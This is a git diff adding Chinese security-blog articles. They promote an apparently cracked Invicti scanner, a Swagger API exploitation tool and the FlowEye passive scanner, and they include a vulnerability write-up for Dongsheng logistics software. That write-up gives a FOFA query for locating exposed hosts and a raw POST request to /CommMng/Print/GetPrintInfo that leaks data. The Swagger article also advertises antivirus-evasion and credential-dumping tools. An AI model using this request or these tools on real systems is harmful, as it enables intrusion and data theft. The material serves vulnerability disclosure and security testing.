+![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq5EOjNAdfFHywrcHWTuSFjfLzaEMA5O5EH2HJic7ib9qDstAJ7aj7aWQ0v5joiavy4X7XH8keY9w1UEg/640?wx_fmt=png&from=appmsg "") + +**新增全新的企业版** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7Lce9Rr1suThNXibxEEVF76uGic25DbWFECbEYxpZgUtr1gQQKmI38VSTbQic8aKzia4DC33AW9euyXA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7Lce9Rr1suThNXibxEEVF76T47HADqm4K0QhPH4MiaOhRnrpa2827Vl9DGcOHlpPlbZm0Szb1IZ9JA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7Lce9Rr1suThNXibxEEVF76dOM5m2Io1EWJ70AnichRuianzl7EeZcmtc8XynulCfXfW1JByA5KPslg/640?wx_fmt=png&from=appmsg "") + +**一些基本的安全测试应包括测试：** + +- SQL注入 + +- XSS（跨站脚本） + +- DOM跨站脚本攻击 + +- 命令注入 + +- 盲命令注入 + +- 本地文件包含和任意文件读取 + +- 远程文件包含 + +- 远程代码注入/评估 + +- CRLF / HTTP 标头注入 / 响应分割 + +- 打开重定向 + +- 帧注入 + +- 具有管理员权限的数据库用户 + +- 漏洞 - 数据库（推断的漏洞） + +- ViewState 未签名 + +- ViewState 未加密 + +- 网络后门 + +- TRACE / TRACK 方法支持已启用 + +- 禁用 XSS 保护 + +- 启用 ASP.NET 调试 + +- 启用 ASP.NET 跟踪 + +- 可访问的备份文件 + +- 可访问的 Apache 服务器状态和 Apache 服务器信息页面 + +- 可访问的隐藏资源 + +- 存在漏洞的 Crossdomain.xml 文件 + +- 易受攻击的 Robots.txt 文件 + +- 易受攻击的 Google 站点地图 + +- 应用程序源代码公开 + +- Silverlight 客户端访问策略文件存在漏洞 + +- CVS、GIT 和 SVN 信息和源代码公开 + +- PHPInfo() 页面可访问以及 PHPInfo() 在其他页面中的披露 + +- 可访问敏感文件 + +- 重定向响应主体太大 + +- 重定向响应 BODY 有两个响应 + +- 通过 HTTP 使用不安全的身份验证方案 + +- 通过 HTTP 传输的密码 + +- 通过 HTTP 提供的密码表单 + +- 暴力破解获取认证 + +- 通过 HTTP 获取的基本身份验证 + +- 凭证薄弱 + +- 电子邮件地址泄露 + +- 内部IP泄露 + +- 目录列表 + +- 版本公开 + +- 内部路径泄露 + +- 访问被拒绝的资源 + +- MS Office信息披露 + +- 自动完成已启用 + +- MySQL 用户名泄露 + +- 默认页面安全性 + +- Cookie 未标记为安全 + +- Cookie 未标记为 HTTPOnly + +- 堆栈跟踪披露 + +- 编程错误信息披露 + +- 数据库错误信息披露 + + + + +01 + +# 更新介绍 + + +``` +#标准版更新 +新功能 +已将浏览器网络日志和控制台日志添加到验证日志区域 +已解决的问题 +修复了当路径包含空格时与 TempPath 相关的错误 +修复了 OAuth2 三方授权码问题 +修复了站点地图问题，该问题会导致包含 /#/ 的 URL 缺失。 +修复了重新测试扫描启动失败的问题 +暂停并恢复后出现的问题已修复。 +修复了扫描数据归档错误 + +#企业版更新 +新功能 +在报表策略中实施了 ACX 安全检查，使其与 IS 中的现有功能保持一致。 +现在可以从密钥中检索 OAuth2 中使用的凭据。 +新增了在配置基本身份验证、摘要式身份验证、NTLM/Kerberos 身份验证或协商身份验证时引用 SEM 集成中的密钥的支持。 +新的安全检查 +为 Next.js/React 服务器组件 RCE 实现了安全检查： +CVE-2025-55182 +CVE-2025-66478 +改进 +在 JIRA 集成中添加了“修复版本”字段 +在扫描摘要页面中添加了“排队原因”。 +改进的 IP 限制逻辑 +改进了“未实施 SameSite Cookie”安全检查 +改进了“JWT签名未验证”安全检查 +已解决的问题 +代理凭据现在已在 InvictiProxy 日志中正确屏蔽。 +修复了扫描摘要页面上缺失的已知问题和 CVE 详细信息。 +修复了手动禁用分配给已排队或正在进行的扫描任务的代理会导致这些扫描任务无限期卡住的问题。现在，系统会阻止禁用已分配扫描任务的代理，并显示清晰的错误消息。 +增强的 OAuth2 业务逻辑和加密实现 +修复了身份验证扫描期间导致登录失败的问题。 +由于自定义安全脚本中的语法错误，阻止扫描失败。 +修复了添加新证书时的布局问题 +修复了未持有 API Discovery 许可证的用户在“设置”>“常规”页面更新项目时看到“ApiHub 服务 URL 不能为空”错误的问题。 +修复了添加目标时“网站删除仍在继续”的问题 +修复了 Mend 集成中的空列表问题 +修复了 Linux/云代理无法解析请求查询参数前的密钥的问题 +更新后的 Java 传感器 +修复了确认短信的问题 +``` + + + + +02 + +# 使用/安装方法 + + +1.解压打开Netsparkey.exe + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7Lce9Rr1suThNXibxEEVF76dfOASn5MmMLkOkLd3eUXEhHJaBo9hY1tpbUu8Y1UCiaFMhtg1oI4SMQ/640?wx_fmt=png&from=appmsg "") + +2.选择URl进行测试即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq4SC6V1mtSrzj7q5M24icn02AEWq0CDO7VYXtdiaaIw76vgdYCfVKYOy6nl1YTc0jlUIvrTTqrNpmiaw/640?wx_fmt=png "") + + +**** + + +03 + +# 免责声明 + + +# 获取方法 + + +**公众号回复20260121获取Invicti-Professional** + +**👉点击加入内部VIP星球享受VIP资源****👈** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq74HibxKz1WvJAjedarj1VGbicSoib1KWNlCRUicibAzgjVUZ32G0vmD1lsmHLkCiahiaBibqS3eeiaKTQrWcg/640?wx_fmt=png&from=appmsg "") + + +# 最后必看 + + +    本工具及文章技巧仅面向合法授权的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。 +为 +避免被恶意使用，本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。 + + +    在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标进行扫描。 +如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。 +本工具来源于网络，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！ + + +    在安装并使用本工具前，请您务必审慎阅读、充分理解各条款内容，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。 + + + + +# 往期推荐 + + +**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）****** + +**2.XXL-JOB常见漏洞汇总|XXL-JOB工具** + +**3.** +**最新xray1.9.11高级版下载Windows/Linux** + +**4.最新Nessus2025.11.6版本主机漏洞扫描下载** + +###### 渗透安全HackTwo +###### 想了解星球福利回复:星球 + + +微信号：关注公众号获取 + +扫码关注 了解更多   + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq6qFFAxdkV2tgPPqL76yNTw38UJ9vr5QJQE48ff1I4Gichw7adAcHQx8ePBPmwvouAhs4ArJFVdKkw/640?wx_fmt=png "二维码") + + + +喜 +欢的朋友可以点赞转 +发 + +![](https://mmbiz.qpic.cn/mmbiz_svg/tqRiaNianNl1mGavBwp9Mf5RO17Jib6HN2NRSYwVT0jk8EzYYGOCRUxicpRHooD7KBlfkawia1zgicxnwMXlqxhFowCpwANhQJxA6A/640 "") + + diff --git a/doc/2026-01/东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞 附POC.md b/doc/2026-01/东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞 附POC.md new file mode 100644 index 00000000..198f9c1c --- /dev/null +++ b/doc/2026-01/东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞 附POC.md @@ -0,0 +1,83 @@ +# 东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞 附POC +2026-1-20更新 + 2026-1-20更新 南风漏洞复现文库 2026-01-20 14:52 + +  + +免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +## 1. 东胜物流软件简介 + +微信公众号搜索：南风漏洞复现文库 +该文章 南风漏洞复现文库 公众号首发 + +东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。 +## 2.漏洞描述 + +东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。 东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞。 + +CVE编号: + +CNNVD编号: + +CNVD编号: +## 3.影响版本 + +东胜物流软件 +![东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞](https://mmbiz.qpic.cn/sz_mmbiz_png/HsJDm7fvc3bpDZb8rGbYmTINrlqyTxwqxZku1XZ2WcuWjuXrVYTHjsRicMhthjIq49EzqLBTY0Umxa7XLlZFYew/640?wx_fmt=png&from=appmsg "null") + +东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞 +## 4.fofa查询语句 + +body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" ||body="dongshengsoft" || body="theme/dhtmlxcombo.css" +## 5.漏洞复现 + +漏洞链接：http://xx.xx.xx.xx/CommMng/Print/GetPrintInfo + +漏洞数据包： +``` +POST /CommMng/Print/GetPrintInfo HTTP/1.1 +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Accept-Encoding: gzip, deflate +Accept: */* +Connection: close +Host: xx.xx.xx.xx +Content-Length: 45 +Content-Type: application/x-www-form-urlencoded + +type=test&sql1=&sql2=&sql3=&sql4=&sql5=&sql6= +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bpDZb8rGbYmTINrlqyTxwqic9IkX9XhAkMiaqrYibosR12OiajC9OOOdVDY3a7WbCibKHDgUJn52tQcMQ/640?wx_fmt=jpeg&from=appmsg "null") + +## 6.POC&EXP + +本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全 +1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。 +2: 免登录，免费fofa查询。 +3: 更新其他实用网络安全工具项目。 +4: 免费指纹识别，持续更新指纹库。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bpDZb8rGbYmTINrlqyTxwqhQhIKBzHPMSgTMMvDDm6qUc0BqTxQia6JBkUic1I3FhKrPOeIdAwnVyw/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bpDZb8rGbYmTINrlqyTxwqibmm84ic20hcRmMoHaOX1DeBUCyTPVpdSRicDrCDtYqapoXCN4Mgtd73g/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bpDZb8rGbYmTINrlqyTxwq2xP5PW1HJNVLoeAEibia72PTLDiaUkqiaCp4Dzch3PXv9VfLTVCQ6dsPGw/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bpDZb8rGbYmTINrlqyTxwqxqqYCPzWNwq529l2HpibflDx2cAicM2h2E4yHdTc2zeYhPVu8XgwZzQA/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bpDZb8rGbYmTINrlqyTxwq9N6ONec675XgRYnW9w1R9eds45qkqbXMAM2WWuzsrKibCAdjodw6Njw/640?wx_fmt=jpeg&from=appmsg "null") + +## 7.整改意见 + +打补丁 +## 8.往期回顾 + + +  + + + diff --git a/doc/2026-01/工具推荐 Swagger API漏洞自动化填充参数利用工具.md b/doc/2026-01/工具推荐 Swagger API漏洞自动化填充参数利用工具.md new file mode 100644 index 00000000..1a9b2cbb --- /dev/null +++ b/doc/2026-01/工具推荐 Swagger API漏洞自动化填充参数利用工具.md @@ -0,0 +1,166 @@ +# 工具推荐 | Swagger API漏洞自动化填充参数利用工具 +lijiejie + lijiejie 星落安全团队 2026-01-20 16:00 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/spc4mP9cfo75FXwfFhKxbGU93Z4H0tgt4O9libYH9mKfZdHgvke0CeibvXDtNcdaqamRk3dEEcRQiaWbGiacZ2waVw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=0 "") + +点击上方 +蓝字 +关注我们 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/WN0ZdfFXY80dA2Z4y8cq7zy2dicHmWOIib5sIn8xAxRIzJibo2fwVZ3aicVBM8RnAqRPH5Libr4f02Zs5YnMLBcREnA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=1 "") + + +现在只对常读和星标的公众号才展示大图推送，建议大家能把 +**星落安全团队** +“ +**设为星标** +”， +否则可能就看不到了啦 +！ + +【 +声明 +】本文所涉及的技术、思路和工具仅用于安全测试和防御研究，切勿将其用于非法入侵或攻击他人系统以及盈利等目的，一切后果由操作者自行承担！！！ + +![图片](https://mmbiz.qpic.cn/mmbiz_png/rlSBJ0fllllRFymHTHfSbBzRPe4d5NUPHiauia4nryVtluJcsVABBdnoLBDu2tBKxdjMj7IQoRkRXklHVsiazhaicA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&watermark=1&tp=webp#imgIndex=2 "") + +**工具介绍** + +这是一个 Swagger REST API 信息泄露利用工具。 主要功能有： +- 遍历所有API接口，自动填充参数 + +- 尝试 GET / POST 所有接口，返回 Response Code / Content-Type / Content-Length ，用于分析接口是否可以未授权访问利用 + +- 分析接口是否存在敏感参数，例如url参数，容易引入外网的SSRF漏洞 + +- 检测 API认证绕过漏洞 + +- 在本地监听一个Web Server，打开Swagger UI界面，供分析接口使用 + +- 使用Chrome打开本地Web服务器，并禁用CORS，解决部分API接口无法跨域请求的问题 + +- 当工具检测到HTTP认证绕过漏洞时，本地服务器拦截API文档，修改path，以便直接在Swagger UI中进行测试 + +使用介绍 + +需要介入分析 api_summary.txt 文件中的内容 +- 扫描所有API集，打开Swagger UI + +python swagger-exp.py  http://site.com/swagger-resources/ + +- 扫描一个API集，打开Swagger UI + +python swagger-exp.py  http://site.com/v2/api-docs + +- 只打开Swagger UI，不扫描接口 + +python swagger-exp.py + +工具截图 + +![](https://mmbiz.qpic.cn/mmbiz_png/rlSBJ0flllnMj2ub0OMt4N1UL4guhedNHON1eCyeuCNpT7KC35UsvsGicQdITX1xO4BfPAHoHyM6IqFT4YGYibicQ/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=3 "") + +![](https://mmbiz.qpic.cn/mmbiz_png/rlSBJ0flllnMj2ub0OMt4N1UL4guhedNW4iarRcs92uaaibkAfxibvM62Q0jT8AicZbY6mt05jiaIOCO7s2vQlbgt7w/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=4 "") + +**相关地址** + +**关注微信公众号后台回复“入群”，即可进入星落安全交流群！** + +关注微信公众号后台回复“ +20260121 +**”，即可获取项目下载地址！** + +**** + +**** +**圈子介绍** + +博主介绍 +： + + +目前工作在某安全公司攻防实验室，一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练，擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。 + + +目前已经更新的免杀内容： +- 部分免杀项目源代码 + +- 星落安全内部免杀工具箱1.0 + +- CobaltStrike4.9.1星落专版1.9 + +- 一键击溃windows defender + +- 一键击溃火绒进程 + +-   +CobaltStrike免杀加载器 + +- 数据库直连工具免杀版 + +- aspx文件自动上线cobaltbrike + +- jsp文件 +自动上线cobaltbrike + +- 哥斯拉免杀工具  +XlByPassGodzilla + +- 冰蝎免杀工具 XlByPassBehinder + +- 冰蝎星落专版 xlbehinder + +- 正向代理工具 xleoreg + +- 反向代理工具xlfrc + +- 内网扫描工具 xlscan + +- Todesk/向日葵密码读取工具 + +- 导出lsass内存工具 xlrls + +- 绕过WAF免杀工具 ByPassWAF + +- 等等... + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/DWntM1sE7icZvkNdicBYEs6uicWp0yXACpt25KZIiciaY7ceKVwuzibYLSoup8ib3Aghm4KviaLyknWsYwTHv3euItxyCQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=9 "") + + +目前星球已满1000人，价格由208元 +调整为 +218元( +交个朋友啦 +)，1100名以后涨价至268元。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/rlSBJ0flllk2esLaDRsI4yjB0HkCibHzialJBFBfcyeib4RRsQTOiamqSvAfZogia7pIcSY9lvfTicWXuTcCgtu3NP1w/640?wx_fmt=jpeg "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/MuoJjD4x9x3siaaGcOb598S56dSGAkNBwpF7IKjfj1vFmfagbF6iaiceKY4RGibdwBzJyeLS59NlowRF39EPwSCbeQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=11 "") + +    +往期推荐 +    + + +1.[加量不加价 | 星落免杀第二期，助你打造专属免杀武器库](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247495969&idx=1&sn=d3379e8f69c2cefb6d0564299e13d579&scene=21#wechat_redirect) + + + +2.[【干货】你不得不学习的内网渗透手法](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489483&idx=1&sn=0cbeb449e56db1ae48abfb924ffd0b43&scene=21#wechat_redirect) + + + +3.[【免杀】CobaltStrike4.9.1二开 | 自破解 免杀 修复BUG](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247488486&idx=1&sn=683083d38a58de4a95750673d9cb725d&scene=21#wechat_redirect) + + + +4.[【免杀】原来SQL注入也可以绕过杀软执行shellcode上线CoblatStrike](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489950&idx=1&sn=a54e05e31a2970950ad47800606c80ff&chksm=c0e2b221f7953b37b5d7b1a8e259a440c1ee7127d535b2c24a5c6c2f2e773ac2a4df43a55696&scene=21&token=458856676&lang=zh_CN#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/DWntM1sE7icZvkNdicBYEs6uicWp0yXACpt25KZIiciaY7ceKVwuzibYLSoup8ib3Aghm4KviaLyknWsYwTHv3euItxyCQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=12 "") + + diff --git a/doc/2026-01/流量之眼 - 智能被动漏洞扫描平台.md b/doc/2026-01/流量之眼 - 智能被动漏洞扫描平台.md index 42f0f34a..fe22e039 100644 --- a/doc/2026-01/流量之眼 - 智能被动漏洞扫描平台.md +++ b/doc/2026-01/流量之眼 - 智能被动漏洞扫描平台.md @@ -1,34 +1,42 @@ # 流量之眼 - 智能被动漏洞扫描平台 YingxueSec - YingxueSec 夜组安全 2026-01-20 00:03 + YingxueSec 无影安全实验室 2026-01-20 13:10 -免责声明 - -由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！ -**所有工具安全性自测！！！VX：** -**NightCTI** - -朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把 -**夜组安全** -“**设为星标** -”， -否则可能就看不到了啦！ +免责声明： +本篇文章仅用于技术交流， +请勿利用文章内的相关技术从事非法测试 +， +由于传播、利用本公众号无影安全 +实验室所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号无影安全实验室及作者不为此承担任何责任，一旦造成后果请自行承担！ +如有侵权烦请告知，我们会立即删除并致歉。谢谢！ +所有工具安全性自测！！！ +**VX：smile62157** -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WrOMH4AFgkSfEFMOvvFuVKmDYdQjwJ9ekMm4jiasmWhBicHJngFY1USGOZfd3Xg4k3iamUOT5DcodvA/640?wx_fmt=png&from=appmsg "") -## 工具介绍 +朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把"**无影安全实验室** +"设为星标，这样更新文章也能第一时间推送！ +![](https://mmbiz.qpic.cn/mmbiz_gif/3GHDOauYyUGbiaHXGx1ib5UxkKzSNtpMzY5tbbGdibG7icBSxlH783x1YTF0icAv8MWrmanB4u5qjyKfmYo1dDf7YbA/640?&wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1 "") + + +安全工具 + + + +## 0x01 工具介绍 **FlowEye（流量之眼）**  是一款专为安全测试人员打造的 Web 化被动漏洞扫描平台。通过与 Burp Suite 无缝集成，FlowEye 能够实时接收并分析 HTTP 流量，自动进行多维度漏洞检测，帮助安全研究人员高效发现 Web 应用安全风险。 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2VI1kyVm4vscZfzvCgIUTpddzIfSlYrHkN00kOblNjEKxLplH6esBfRgXe8Lwy9shTPIotUic3mcVA/640?wx_fmt=png&from=appmsg "") -### 为什么选择 FlowEye？ +![](https://mmbiz.qpic.cn/mmbiz_png/awCdqJkJFETRlqAibUQvyAdcUNUe4ibGntHoXIsbX635HsElO9Tchc4vfarMfiaPWUtWeic2VpRoveNswaiaHfXG4Aw/640?wx_fmt=png&from=appmsg "") -
特性
描述
🎯 精准识别
内置 1000+ 指纹规则，自动识别目标技术栈
🧠 智能调度
根据指纹结果智能选择扫描引擎，避免无效扫描
⚡ 高效扫描
多引擎并行，支持 Shiro/Struts2/SQL注入/XSS 等漏洞检测
🖥️ 现代界面
React + TailwindCSS 构建的精美 Web UI
📦 开箱即用
单文件可执行，无需复杂配置
🇨🇳 中文界面
Burp 插件完整中文汉化
-## 功能特性 +为什么选择  +FlowEye +？ +
特性
描述
🎯 精准识别
内置 1000+ 指纹规则，自动识别目标技术栈
🧠 智能调度
根据指纹结果智能选择扫描引擎，避免无效扫描
⚡ 高效扫描
多引擎并行，支持 Shiro/Struts2/SQL注入/XSS 等漏洞检测
🖥️ 现代界面
React + TailwindCSS 构建的精美 Web UI
📦 开箱即用
单文件可执行，无需复杂配置
🇨🇳 中文界面
Burp 插件完整中文汉化
+## 0x02 工具功能 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2VI1kyVm4vscZfzvCgIUTpdZQiaiauCia0PpjOORvaf0iaV2epUXLIFUW7GJBKWFzWAF5gtBwU0YV5MEg/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/mmbiz_png/awCdqJkJFETRlqAibUQvyAdcUNUe4ibGnt5E4BL1whcfJUwQqhooW9ZaClWHkWZyBBuDSE0WCdv3zLR56iaUZAZ8Q/640?wx_fmt=png&from=appmsg "") ### 核心功能 - ✅ **零配置启动**  - 无需任何配置文件，开箱即用 @@ -55,31 +63,20 @@ YingxueSec
引擎
功能
规则数
fingerprint
指纹识别
1000+
dirscan
敏感路径扫描
内置字典
shiro
Apache Shiro 反序列化
100+ keys
spring
Spring 框架漏洞
CVE-2018-1273, CVE-2022-22965
struts2
Struts2 RCE
多个 CVE
sqli-fuzz
SQL 注入检测
100+ payloads
xss-fuzz
XSS 跨站脚本
80+ payloads
lfi-fuzz
本地文件包含
50+ payloads
nuclei
Nuclei 模板引擎
可扩展
-![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2VI1kyVm4vscZfzvCgIUTpdyqxEXhzN4AbvMeKeeOf3MEH3wUI5q8RCFDG2lEIj48u7Hsqxcqsc1w/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/mmbiz_png/awCdqJkJFETRlqAibUQvyAdcUNUe4ibGntog0WwJvp9GXyrWXOhIc8V7G84ZnBNyXhm0DMhXqCdB6nGYqnrkt1qQ/640?wx_fmt=png&from=appmsg "") +## 0x03 工具下载 -## 工具获取 +**点****击关注** +**下方名片****进入公众号** + +**回复关键字【260120****】获取** +**下载链接** -点击关注下方名片 -进入公众号 - -回复关键字【 -260120 -】获取 -下载链接 - - -## 往期精彩 - - -[XSS 漏洞练习靶场，覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景2026-01-19](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496120&idx=1&sn=f2153c748593255cb40ae6f8e50a3ab8&scene=21#wechat_redirect) -[一款自动化403/401绕过工具 | 请求头注入、谓词篡改等多种实战技巧2026-01-16](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496113&idx=1&sn=6e48fa8ac465f65cffbe9753de1b9c7f&scene=21#wechat_redirect) -[Burp Suite插件 | 高级HTTP头修改安全头来绕过安全限制、不同来源或设备的请求2026-01-12](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496101&idx=1&sn=731e9d4fa9782a4bfdcc8622d4bf16b9&scene=21#wechat_redirect) -[Webshell_Generate更新V1.2.6！ | 各类webshell免杀，支持蚁剑、冰蝎、哥斯拉等2026-01-09](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496095&idx=1&sn=201f62e956bc5954c4aecc6204f1f16d&scene=21#wechat_redirect) -[新一代Webshell 管理与后渗透平台 | 去除通信流量强特征，支持自定义流量格式实现流量伪装2026-01-08](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496090&idx=1&sn=e56acbfd4147b9a2b07f2f73a333561b&scene=21#wechat_redirect) - - -![](https://mmbiz.qpic.cn/mmbiz_png/OAmMqjhMehrtxRQaYnbrvafmXHe0AwWLr2mdZxcg9wia7gVTfBbpfT6kR2xkjzsZ6bTTu5YCbytuoshPcddfsNg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&random=0.8399406679299557&tp=webp "") +最后推荐一下内部 +小 +密圈，干货满满，物超所值，**内部圈子每增加100人，价格将上涨20元，越早进越优惠！！！** +****